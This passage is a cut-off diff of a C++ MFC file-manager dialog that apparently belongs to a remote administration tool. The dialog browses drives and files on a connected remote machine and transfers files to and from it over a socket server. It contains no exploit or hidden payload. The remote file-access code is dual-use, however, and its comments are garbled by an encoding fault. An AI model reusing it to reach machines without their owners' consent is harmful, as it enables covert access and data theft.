- } + m_list_local.SetItemText(nItem, 1, FileSystem); } - // 02E3F844 43 03 04 58 02 00 73 D7 00 00 B1 BE B5 D8 B4 C5 C5 CC 00 4E 54 46 53 00 44 C..X..s...ش.NTFS.D - // 2E3F85E 03 04 20 03 00 FC 5B 00 00 B1 BE B5 D8 B4 C5 C5 CC 00 4E 54 46 53 00 - - CString strVolume; - strVolume.Format("%c:\\", Travel[i]);//c: - int iItem = m_ControlList_Client.InsertItem(i, strVolume,ulIconIndex); - m_ControlList_Client.SetItemData(iItem, 1); //ʾ - - unsigned long ulHardDiskAmountMB = 0; // ܴС - unsigned long ulHardDiskFreeMB = 0; // ʣռ - memcpy(&ulHardDiskAmountMB, Travel + i + 2, 4); - memcpy(&ulHardDiskFreeMB, Travel + i + 6, 4); - CString strCount; - strCount.Format("%10.1f GB", (float)ulHardDiskAmountMB / 1024); - m_ControlList_Client.SetItemText(iItem, 2, strCount); - strCount.Format("%10.1f GB", (float)ulHardDiskFreeMB / 1024); - m_ControlList_Client.SetItemText(iItem, 3, strCount); - - i += 10; //10 - - CString strTypeName; - strTypeName = Travel + i; - m_ControlList_Client.SetItemText(iItem, 1, strTypeName); - i += strlen(Travel + i) + 1; - i += strlen(Travel + i) + 1; + CString str; + str.Format("%10.1f GB", (float)AmntMB / 1024); + m_list_local.SetItemText(nItem, 2, str); + str.Format("%10.1f GB", (float)FreeMB / 1024); + m_list_local.SetItemText(nItem, 3, str); } + // ñصǰ· + m_Local_Path = ""; + m_Local_Directory_ComboBox.ResetContent(); + + ShowMessage("أװĿ¼ %s ", m_Local_Path); } -void CFileManagerDlg::OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult) +void CFileManagerDlg::OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult) { - LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); - // TODO: ڴӿؼ֪ͨ - - if (m_ControlList_Server.GetSelectedCount() == 0 || m_ControlList_Server.GetItemData(m_ControlList_Server.GetSelectionMark()) != 1) + // TODO: Add your control notification handler code here + if (m_list_local.GetSelectedCount() == 0 || m_list_local.GetItemData(m_list_local.GetSelectionMark()) != 1) return; - - FixedServerFileList(); + FixedLocalFileList(); *pResult = 0; } -VOID CFileManagerDlg::FixedServerFileList(CString strDirectory) +void CFileManagerDlg::FixedLocalFileList(CString directory) { - if (strDirectory.GetLength() == 0) + if (directory.GetLength() == 0) { - int iItem = m_ControlList_Server.GetSelectionMark(); + int nItem = m_list_local.GetSelectionMark(); // ѡеģĿ¼ - if (iItem != -1) + if (nItem != -1) { - if (m_ControlList_Server.GetItemData(iItem) == 1) // + if (m_list_local.GetItemData(nItem) == 1) { - strDirectory = m_ControlList_Server.GetItemText(iItem, 0); + directory = m_list_local.GetItemText(nItem, 0); } } // Ͽõ· else { - m_ComboBox_Server.GetWindowText(m_Server_File_Path); + m_Local_Directory_ComboBox.GetWindowText(m_Local_Path); } } - if (strDirectory == "..") + + + + // õĿ¼ + if (directory == "..") { - m_Server_File_Path = GetParentDirectory(m_Server_File_Path); + m_Local_Path = GetParentDirectory(m_Local_Path); } // ˢµǰ - else if (strDirectory != ".") //c:\ 1 + else if (directory != ".") { - /* c:\ */ - m_Server_File_Path += strDirectory; - if(m_Server_File_Path.Right(1) != "\\") - { - m_Server_File_Path += "\\"; - } + m_Local_Path += directory; + if(m_Local_Path.Right(1) != "\\") + m_Local_Path += "\\"; } + // ĸĿ¼,شб - if (m_Server_File_Path.GetLength() == 0) + if (m_Local_Path.GetLength() == 0) { - FixedServerDiskDriverList(); + FixedLocalDriveList(); return; } - m_ComboBox_Server.InsertString(0, m_Server_File_Path); - m_ComboBox_Server.SetCurSel(0); + m_Local_Directory_ComboBox.InsertString(0, m_Local_Path); + m_Local_Directory_ComboBox.SetCurSel(0); - m_ControlList_Server.DeleteAllItems(); - while(m_ControlList_Server.DeleteColumn(0) != 0); //ɾ - m_ControlList_Server.InsertColumn(0, "", LVCFMT_LEFT, 200); - m_ControlList_Server.InsertColumn(1, "С", LVCFMT_LEFT, 100); - m_ControlList_Server.InsertColumn(2, "", LVCFMT_LEFT, 100); - m_ControlList_Server.InsertColumn(3, "޸", LVCFMT_LEFT, 115); + // ؽ + m_list_local.DeleteAllItems(); + while(m_list_local.DeleteColumn(0) != 0); + m_list_local.InsertColumn(0, "", LVCFMT_LEFT, 200); + m_list_local.InsertColumn(1, "С", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(2, "", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(3, "޸", LVCFMT_LEFT, 115); - int iItemIndex = 0; - m_ControlList_Server.SetItemData(m_ControlList_Server.InsertItem(iItemIndex++, "..", - GetServerIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),1); + int nItemIndex = 0; + m_list_local.SetItemData + ( + m_list_local.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)), + 1 + ); // i Ϊ 0 ʱĿ¼i Ϊ 1ʱļ for (int i = 0; i < 2; i++) { - CFileFind FindFile; + CFileFind file; BOOL bContinue; - bContinue = FindFile.FindFile(m_Server_File_Path + "*.*"); //c:\*.* //.. . 1.txt + bContinue = file.FindFile(m_Local_Path + "*.*"); while (bContinue) { - bContinue = FindFile.FindNextFile(); - if (FindFile.IsDots()) // . + bContinue = file.FindNextFile(); + if (file.IsDots()) continue; - BOOL bIsInsert = !FindFile.IsDirectory() == i; - + bool bIsInsert = !file.IsDirectory() == i; + if (!bIsInsert) continue; - int iItem = m_ControlList_Server.InsertItem(iItemIndex++, FindFile.GetFileName(), - GetServerIconIndex(FindFile.GetFileName(), GetFileAttributes(FindFile.GetFilePath()))); - m_ControlList_Server.SetItemData(iItem, FindFile.IsDirectory()); + int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(), + GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath()))); + m_list_local.SetItemData(nItem, file.IsDirectory()); SHFILEINFO sfi; - SHGetFileInfo(FindFile.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), - SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + m_list_local.SetItemText(nItem, 2, sfi.szTypeName); - if (FindFile.IsDirectory()) - { - m_ControlList_Server.SetItemText(iItem, 2, "ļ"); - } - - else - { - m_ControlList_Server.SetItemText(iItem,2, sfi.szTypeName); - } - - CString strFileLength; - strFileLength.Format("%10d KB", FindFile.GetLength() / 1024 + (FindFile.GetLength() % 1024 ? 1 : 0)); - m_ControlList_Server.SetItemText(iItem, 1, strFileLength); - CTime Time; - FindFile.GetLastWriteTime(Time); - m_ControlList_Server.SetItemText(iItem, 3, Time.Format("%Y-%m-%d %H:%M")); + CString str; + str.Format("%10d KB", file.GetLength() / 1024 + (file.GetLength() % 1024 ? 1 : 0)); + m_list_local.SetItemText(nItem, 1, str); + CTime time; + file.GetLastWriteTime(time); + m_list_local.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M")); } } + + ShowMessage("أװĿ¼ %s ", m_Local_Path); } -void CFileManagerDlg::OnCbnSelchangeComboServer() +void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList) { - int iIndex = m_ComboBox_Server.GetCurSel(); - CString strString; - m_ComboBox_Server.GetLBText(iIndex,strString); + //This routine performs the actual drop of the item dragged. + //It simply grabs the info from the Drag list (pDragList) + // and puts that info into the list dropped on (pDropList). + //Send: pDragList = pointer to CListCtrl we dragged from, + // pDropList = pointer to CListCtrl we are dropping on. + //Return: nothing. - m_ComboBox_Server.SetWindowText(strString); + ////Variables + // Unhilight the drop target - FixedServerFileList(); -} - -void CFileManagerDlg::OnViewBigIcon() -{ - // TODO: ڴ - m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_ICON); -} - - -void CFileManagerDlg::OnViewSmallIcon() -{ - // TODO: ڴ - m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); -} - -void CFileManagerDlg::OnViewDetail() -{ - m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); -} - -void CFileManagerDlg::OnViewList() -{ - m_ControlList_Server.ModifyStyle(LVS_TYPEMASK, LVS_LIST); -} - -void CFileManagerDlg::OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult) -{ - LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); - - if (m_ControlList_Client.GetSelectedCount() == 0 || m_ControlList_Client.GetItemData(m_ControlList_Client.GetSelectionMark()) != 1) + if(pDragList == pDropList) //we are return { return; - } + } //EO if(pDragList... - GetClientFileList(); //Ϣ + + pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED); + + if ((CWnd *)pDropList == &m_list_local) + { + OnRemoteCopy(); + } + else if ((CWnd *)pDropList == &m_list_remote) + { + OnLocalCopy(); + } + else + { + // + return; + } + // + m_nDropIndex = -1; +// Ĵ벻Ҫˣļ +// if(pDragList->GetSelectedCount() == 1) +// { +// char szLabel[MAX_PATH]; +// LVITEM lviT; +// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM +// lviT.iItem = m_nDragIndex; +// lviT.mask = LVIF_IMAGE | LVIF_TEXT; +// lviT.pszText = szLabel; +// lviT.cchTextMax = MAX_PATH; +// pDragList->GetItem (&lviT); +// +// // Select the new item we just inserted +// int iItem = (m_nDropIndex == -1) ? pDropList->GetItemCount () : m_nDropIndex; +// +// pDropList->InsertItem(iItem, szLabel, lviT.iImage); +// +// pDropList->SetItemState (iItem, LVIS_SELECTED, LVIS_SELECTED); +// } +// else //more than 1 item is being dropped +// { +// POSITION pos = pDragList->GetFirstSelectedItemPosition(); //iterator for the CListCtrl +// while(pos) //so long as we have a valid POSITION, we keep iterating +// { +// m_nDragIndex = pDragList->GetNextSelectedItem(pos); +// m_nDropIndex = (m_nDropIndex == -1) ? pDropList->GetItemCount() : m_nDropIndex; +// +// char szLabel[MAX_PATH]; +// LVITEM lviT; +// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM +// lviT.iItem = m_nDragIndex; +// lviT.mask = LVIF_IMAGE | LVIF_TEXT; +// lviT.pszText = szLabel; +// lviT.cchTextMax = MAX_PATH; +// pDragList->GetItem (&lviT); +// +// pDropList->InsertItem(m_nDropIndex, szLabel, lviT.iImage); +// pDropList->SetItemState(m_nDropIndex, LVIS_SELECTED, LVIS_SELECTED); +// m_nDropIndex ++; +// //Save the pointer to the new item in our CList +// } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory +// } +} + +// The system calls this to obtain the cursor to display while the user drags +// the minimized window. +HCURSOR CFileManagerDlg::OnQueryDragIcon() +{ + return (HCURSOR) m_hIcon; +} + +void CFileManagerDlg::OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult) +{ + NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; + // TODO: Add your control notification handler code here + //// Save the index of the item being dragged in m_nDragIndex + //// This will be used later for retrieving the info dragged + m_nDragIndex = pNMListView->iItem; + + if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare("..")) + return; + + //We will call delete later (in LButtonUp) to clean this up + + if(m_list_local.GetSelectedCount() > 1) //more than 1 item in list is selected + m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG); + else + m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG); + + ASSERT(m_hCursor); //make sure it was created + //// Change the cursor to the drag image + //// (still must perform DragMove() in OnMouseMove() to show it moving) + + //// Set dragging flag and others + m_bDragging = TRUE; //we are in a drag and drop operation + m_nDropIndex = -1; //we don't have a drop index yet + m_pDragList = &m_list_local; //make note of which list we are dragging from + m_pDropWnd = &m_list_local; //at present the drag list is the drop list + + //// Capture all mouse messages + SetCapture(); *pResult = 0; } - -VOID CFileManagerDlg::GetClientFileList(CString strDirectory) +void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult) { - if (strDirectory.GetLength() == 0) //̾ - { - int iItem = m_ControlList_Client.GetSelectionMark(); + NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; + // TODO: Add your control notification handler code here + //// Save the index of the item being dragged in m_nDragIndex + //// This will be used later for retrieving the info dragged + m_nDragIndex = pNMListView->iItem; + if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare("..")) + return; + + + //We will call delete later (in LButtonUp) to clean this up + + if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected + m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG); + else + m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG); + + ASSERT(m_hCursor); //make sure it was created + //// Change the cursor to the drag image + //// (still must perform DragMove() in OnMouseMove() to show it moving) + + //// Set dragging flag and others + m_bDragging = TRUE; //we are in a drag and drop operation + m_nDropIndex = -1; //we don't have a drop index yet + m_pDragList = &m_list_remote; //make note of which list we are dragging from + m_pDropWnd = &m_list_remote; //at present the drag list is the drop list + + //// Capture all mouse messages + SetCapture (); + *pResult = 0; +} - // ѡеģĿ¼ - if (iItem != -1) +void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point) +{ + // TODO: Add your message handler code here and/or call default + //While the mouse is moving, this routine is called. + //This routine will redraw the drag image at the present + // mouse location to display the dragging. + //Also, while over a CListCtrl, this routine will highlight + // the item we are hovering over. + + //// If we are in a drag/drop procedure (m_bDragging is true) + if (m_bDragging) + { + //SetClassLong(m_list_local.m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DRAG)); + + //// Move the drag image + CPoint pt(point); //get our current mouse coordinates + ClientToScreen(&pt); //convert to screen coordinates + + //// Get the CWnd pointer of the window that is under the mouse cursor + CWnd* pDropWnd = WindowFromPoint (pt); + + ASSERT(pDropWnd); //make sure we have a window + + //// If we drag outside current window we need to adjust the highlights displayed + if (pDropWnd != m_pDropWnd) { - if (m_ControlList_Client.GetItemData(iItem) == 1) + if (m_nDropIndex != -1) //If we drag over the CListCtrl header, turn off the hover highlight { - strDirectory = m_ControlList_Client.GetItemText(iItem, 0); /* D:\ */ + TRACE("m_nDropIndex is -1\n"); + CListCtrl* pList = (CListCtrl*)m_pDropWnd; + VERIFY (pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED)); + // redraw item + VERIFY (pList->RedrawItems (m_nDropIndex, m_nDropIndex)); + pList->UpdateWindow (); + m_nDropIndex = -1; } } + + // Save current window pointer as the CListCtrl we are dropping onto + m_pDropWnd = pDropWnd; + + // Convert from screen coordinates to drop target client coordinates + pDropWnd->ScreenToClient(&pt); + + //If we are hovering over a CListCtrl we need to adjust the highlights + if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl))) + { + //Note that we can drop here + SetCursor(m_hCursor); + + if (m_pDropWnd->m_hWnd == m_pDragList->m_hWnd) + return; + + UINT uFlags; + CListCtrl* pList = (CListCtrl*)pDropWnd; + + // Turn off hilight for previous drop target + pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED); + // Redraw previous item + pList->RedrawItems (m_nDropIndex, m_nDropIndex); + + // Get the item that is below cursor + m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags); + if (m_nDropIndex != -1) + { + // Highlight it + pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED); + // Redraw item + pList->RedrawItems(m_nDropIndex, m_nDropIndex); + pList->UpdateWindow(); + } + } + else + { + //If we are not hovering over a CListCtrl, change the cursor + // to note that we cannot drop here + SetCursor(LoadCursor(NULL, IDC_NO)); + } + } + CDialog::OnMouseMove(nFlags, point); +} + +void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) +{ + // TODO: Add your message handler code here and/or call default + //This routine is the end of the drag/drop operation. + //When the button is released, we are to drop the item. + //There are a few things we need to do to clean up and + // finalize the drop: + // 1) Release the mouse capture + // 2) Set m_bDragging to false to signify we are not dragging + // 3) Actually drop the item (we call a separate function to do that) + + //If we are in a drag and drop operation (otherwise we don't do anything) + if (m_bDragging) + { + // Release mouse capture, so that other controls can get control/messages + ReleaseCapture(); + + // Note that we are NOT in a drag operation + m_bDragging = FALSE; + + CPoint pt (point); //Get current mouse coordinates + ClientToScreen (&pt); //Convert to screen coordinates + // Get the CWnd pointer of the window that is under the mouse cursor + CWnd* pDropWnd = WindowFromPoint (pt); + ASSERT (pDropWnd); //make sure we have a window pointer + // If window is CListCtrl, we perform the drop + if (pDropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl))) + { + m_pDropList = (CListCtrl*)pDropWnd; //Set pointer to the list we are dropping on + DropItemOnList(m_pDragList, m_pDropList); //Call routine to perform the actual drop + } + } + CDialog::OnLButtonUp(nFlags, point); +} + +BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) +{ + // TODO: Add your specialized code here and/or call the base class + if (pMsg->message == WM_KEYDOWN) + { + if (pMsg->wParam == VK_ESCAPE) + return true; + if (pMsg->wParam == VK_RETURN) + { + if ( + pMsg->hwnd == m_list_local.m_hWnd || + pMsg->hwnd == ((CEdit*)m_Local_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd + ) + { + FixedLocalFileList(); + } + else if + ( + pMsg->hwnd == m_list_remote.m_hWnd || + pMsg->hwnd == ((CEdit*)m_Remote_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd + ) + { + GetRemoteFileList(); + } + return TRUE; + } + + } + // ˴ڱʹƶ + if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd) + { + pMsg->message = WM_NCLBUTTONDOWN; + pMsg->wParam = HTCAPTION; + } + /* + UINT CFileManagerDlg::OnNcHitTest (Cpoint point ) + { + UINT nHitTest =Cdialog: : OnNcHitTest (point ) + return (nHitTest = =HTCLIENT)? HTCAPTION : nHitTest + } + + 㲻֮ + һڴڵĿͻ˫ʱڽ + ʺϰӴ򴰿ڡ + */ + + + if(m_wndToolBar_Local.IsWindowVisible()) + { + CWnd* pWndParent = m_wndToolBar_Local.GetParent(); + m_wndToolBar_Local.OnUpdateCmdUI((CFrameWnd*)this, TRUE); + } + if(m_wndToolBar_Remote.IsWindowVisible()) + { + CWnd* pWndParent = m_wndToolBar_Remote.GetParent(); + m_wndToolBar_Remote.OnUpdateCmdUI((CFrameWnd*)this, TRUE); } - else if (strDirectory != ".") - { - m_Client_File_Path += strDirectory; - if(m_Client_File_Path.Right(1) != "\\") + return CDialog::PreTranslateMessage(pMsg); +} +void CFileManagerDlg::OnTimer(UINT nIDEvent) +{ + // TODO: Add your message handler code here and/or call default + m_ProgressCtrl->StepIt(); + CDialog::OnTimer(nIDEvent); +} + +void CFileManagerDlg::FixedRemoteDriveList() +{ + // ϵͳͳͼб ͼб + HIMAGELIST hImageListLarge = NULL; + HIMAGELIST hImageListSmall = NULL; + Shell_GetImageLists(&hImageListLarge, &hImageListSmall); + ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL); + ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL); + + m_list_remote.DeleteAllItems(); + // ؽColumn + while(m_list_remote.DeleteColumn(0) != 0); + m_list_remote.InsertColumn(0, "", LVCFMT_LEFT, 200); + m_list_remote.InsertColumn(1, "", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(2, "ܴС", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(3, "ÿռ", LVCFMT_LEFT, 115); + + + char *pDrive = NULL; + pDrive = (char *)m_bRemoteDriveList; + + unsigned long AmntMB = 0; // ܴС + unsigned long FreeMB = 0; // ʣռ + char VolName[MAX_PATH]; + char FileSystem[MAX_PATH]; + + /* + 6 DRIVE_FLOPPY + 7 DRIVE_REMOVABLE + 8 DRIVE_FIXED + 9 DRIVE_REMOTE + 10 DRIVE_REMOTE_DISCONNECT + 11 DRIVE_CDROM + */ + int nIconIndex = -1; + for (int i = 0; pDrive[i] != '\0';) + { + if (pDrive[i] == 'A' || pDrive[i] == 'B') { - m_Client_File_Path += "\\"; + nIconIndex = 6; + } + else + { + switch (pDrive[i + 1]) + { + case DRIVE_REMOVABLE: + nIconIndex = 7; + break; + case DRIVE_FIXED: + nIconIndex = 8; + break; + case DRIVE_REMOTE: + nIconIndex = 9; + break; + case DRIVE_CDROM: + nIconIndex = 11; + break; + default: + nIconIndex = 8; + break; + } + } + CString str; + str.Format("%c:\\", pDrive[i]); + int nItem = m_list_remote.InsertItem(i, str, nIconIndex); + m_list_remote.SetItemData(nItem, 1); + + memcpy(&AmntMB, pDrive + i + 2, 4); + memcpy(&FreeMB, pDrive + i + 6, 4); + str.Format("%10.1f GB", (float)AmntMB / 1024); + m_list_remote.SetItemText(nItem, 2, str); + str.Format("%10.1f GB", (float)FreeMB / 1024); + m_list_remote.SetItemText(nItem, 3, str); + + i += 10; + + char *lpFileSystemName = NULL; + char *lpTypeName = NULL; + + lpTypeName = pDrive + i; + i += lstrlen(pDrive + i) + 1; + lpFileSystemName = pDrive + i; + + // , Ϊվʾ + if (lstrlen(lpFileSystemName) == 0) + { + m_list_remote.SetItemText(nItem, 1, lpTypeName); + } + else + { + m_list_remote.SetItemText(nItem, 1, lpFileSystemName); + } + + + i += lstrlen(pDrive + i) + 1; + } + // Զ̵ǰ· + m_Remote_Path = ""; + m_Remote_Directory_ComboBox.ResetContent(); + + ShowMessage("Զ̣װĿ¼ %s ", m_Remote_Path); +} + +void CFileManagerDlg::OnClose() +{ + // TODO: Add your message handler code here and/or call default + CoUninitialize(); + m_pContext->m_Dialog = 0; + closesocket(m_pContext->m_Socket); + + CDialog::OnClose(); +} + +CString CFileManagerDlg::GetParentDirectory(CString strPath) +{ + CString strCurPath = strPath; + int Index = strCurPath.ReverseFind('\\'); + if (Index == -1) + { + return strCurPath; + } + CString str = strCurPath.Left(Index); + Index = str.ReverseFind('\\'); + if (Index == -1) + { + strCurPath = ""; + return strCurPath; + } + strCurPath = str.Left(Index); + + if(strCurPath.Right(1) != "\\") + strCurPath += "\\"; + return strCurPath; +} +void CFileManagerDlg::OnReceiveComplete() +{ + switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) + { + case TOKEN_FILE_LIST: // ļб + FixedRemoteFileList + ( + m_pContext->m_DeCompressionBuffer.GetBuffer(0), + m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 + ); + break; + case TOKEN_FILE_SIZE: // ļʱĵһݰļСļ + CreateLocalRecvFile(); + break; + case TOKEN_FILE_DATA: // ļ + WriteLocalRecvFile(); + break; + case TOKEN_TRANSFER_FINISH: // + EndLocalRecvFile(); + break; + case TOKEN_CREATEFOLDER_FINISH: + GetRemoteFileList("."); + break; + case TOKEN_DELETE_FINISH: + EndRemoteDeleteFile(); + break; + case TOKEN_GET_TRANSFER_MODE: + SendTransferMode(); + break; + case TOKEN_DATA_CONTINUE: + SendFileData(); + break; + case TOKEN_RENAME_FINISH: + // ˢԶļб + GetRemoteFileList("."); + break; + default: + SendException(); + break; + } +} + +void CFileManagerDlg::GetRemoteFileList(CString directory) +{ + if (directory.GetLength() == 0) + { + int nItem = m_list_remote.GetSelectionMark(); + + // ѡеģĿ¼ + if (nItem != -1) + { + if (m_list_remote.GetItemData(nItem) == 1) + { + directory = m_list_remote.GetItemText(nItem, 0); + } + } + // Ͽõ· + else + { + m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); } } - - if (m_Client_File_Path.GetLength() == 0) + // õĿ¼ + if (directory == "..") { - // FixedRemoteDriveList(); + m_Remote_Path = GetParentDirectory(m_Remote_Path); + } + else if (directory != ".") + { + m_Remote_Path += directory; + if(m_Remote_Path.Right(1) != "\\") + m_Remote_Path += "\\"; + } + + // ĸĿ¼,شб + if (m_Remote_Path.GetLength() == 0) + { + FixedRemoteDriveList(); return; } - ULONG ulLength = m_Client_File_Path.GetLength() + 2; - BYTE *szBuffer = (BYTE *)new BYTE[ulLength]; - //COMMAND_LIST_FILES ͵ƶˣ - szBuffer[0] = COMMAND_LIST_FILES; - memcpy(szBuffer + 1, m_Client_File_Path.GetBuffer(0), ulLength - 1); - m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); - delete[] szBuffer; - szBuffer = NULL; + // ǰջ - // m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); - // m_Remote_Directory_ComboBox.SetCurSel(0); + int PacketSize = m_Remote_Path.GetLength() + 2; + BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize); + bPacket[0] = COMMAND_LIST_FILES; + memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); + m_iocpServer->Send(m_pContext, bPacket, PacketSize); + LocalFree(bPacket); + + m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); + m_Remote_Directory_ComboBox.SetCurSel(0); + // õǰ - m_ControlList_Client.EnableWindow(FALSE); + m_list_remote.EnableWindow(FALSE); m_ProgressCtrl->SetPos(0); } - -VOID CFileManagerDlg::OnReceiveComplete() +void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) { - if (m_ContextObject==NULL) - { + if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1) return; - } - - switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0]) - { - case TOKEN_FILE_LIST: - { - FixedClientFileList(m_ContextObject->InDeCompressedBuffer.GetBuffer(), - m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); - break; - } - - case TOKEN_DATA_CONTINUE: - { - - SendFileData(); - - break; - } - case TOKEN_GET_TRANSFER_MODE: - { - SendTransferMode(); - break; - } - } + // TODO: Add your control notification handler code here + GetRemoteFileList(); + *pResult = 0; } - -VOID CFileManagerDlg::SendTransferMode() //ض˷͵ļڱضϴʾδ +void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) { - CFileTransferModeDlg Dlg(this); - Dlg.m_strFileName = m_strDestFileFullPath; - switch (Dlg.DoModal()) - { - case IDC_OVERWRITE: - m_ulTransferMode = TRANSFER_MODE_OVERWRITE; - break; - case IDC_OVERWRITE_ALL: - m_ulTransferMode = TRANSFER_MODE_OVERWRITE_ALL; - break; - case IDC_JUMP: - m_ulTransferMode = TRANSFER_MODE_JUMP; - break; - case IDC_JUMP_ALL: - m_ulTransferMode = TRANSFER_MODE_JUMP_ALL; - break; - case IDCANCEL: - m_ulTransferMode = TRANSFER_MODE_CANCEL; - break; - } - if (m_ulTransferMode == TRANSFER_MODE_CANCEL) - { - // m_bIsStop = true; - EndCopyServerToClient(); - return; - } + // ImageList + SHFILEINFO sfi; + HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON); + HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON); + ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL); + ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL); - BYTE bToken[5]; - bToken[0] = COMMAND_SET_TRANSFER_MODE; - memcpy(bToken + 1, &m_ulTransferMode, sizeof(m_ulTransferMode)); - m_iocpServer->OnClientPreSending(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken)); -} - -VOID CFileManagerDlg::SendFileData() -{ - FILE_SIZE *FileSize = (FILE_SIZE *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); - LONG dwOffsetHigh = FileSize->dwSizeHigh ; //0 - LONG dwOffsetLow = FileSize->dwSizeLow; //0 - - m_ulCounter = MAKEINT64(FileSize->dwSizeLow, FileSize->dwSizeHigh); //0 - - ShowProgress(); //֪ͨ - - if (m_ulCounter == m_OperatingFileLength||m_bIsStop) - { - EndCopyServerToClient(); //¸Ĵ - return; - } - - HANDLE hFile; - hFile = CreateFile(m_strSourFileFullPath.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); - if (hFile == INVALID_HANDLE_VALUE) - { - return; - } - - SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); //8192 4G 300 - - int iHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 - - DWORD dwNumberOfBytesToRead = MAX_SEND_BUFFER - iHeadLength; - DWORD dwNumberOfBytesRead = 0; - BYTE *szBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER); - - if (szBuffer==NULL) - { - CloseHandle(hFile); - return; - } - - szBuffer[0] = COMMAND_FILE_DATA; - - memcpy(szBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); - memcpy(szBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); //flag 0000 00 40 20 20 - - ReadFile(hFile, szBuffer + iHeadLength, dwNumberOfBytesToRead, &dwNumberOfBytesRead, NULL); - CloseHandle(hFile); - - if (dwNumberOfBytesRead > 0) - { - ULONG ulLength = dwNumberOfBytesRead + iHeadLength; - m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); - } - LocalFree(szBuffer); -} - -VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength) -{ // ؽ - m_ControlList_Client.DeleteAllItems(); - 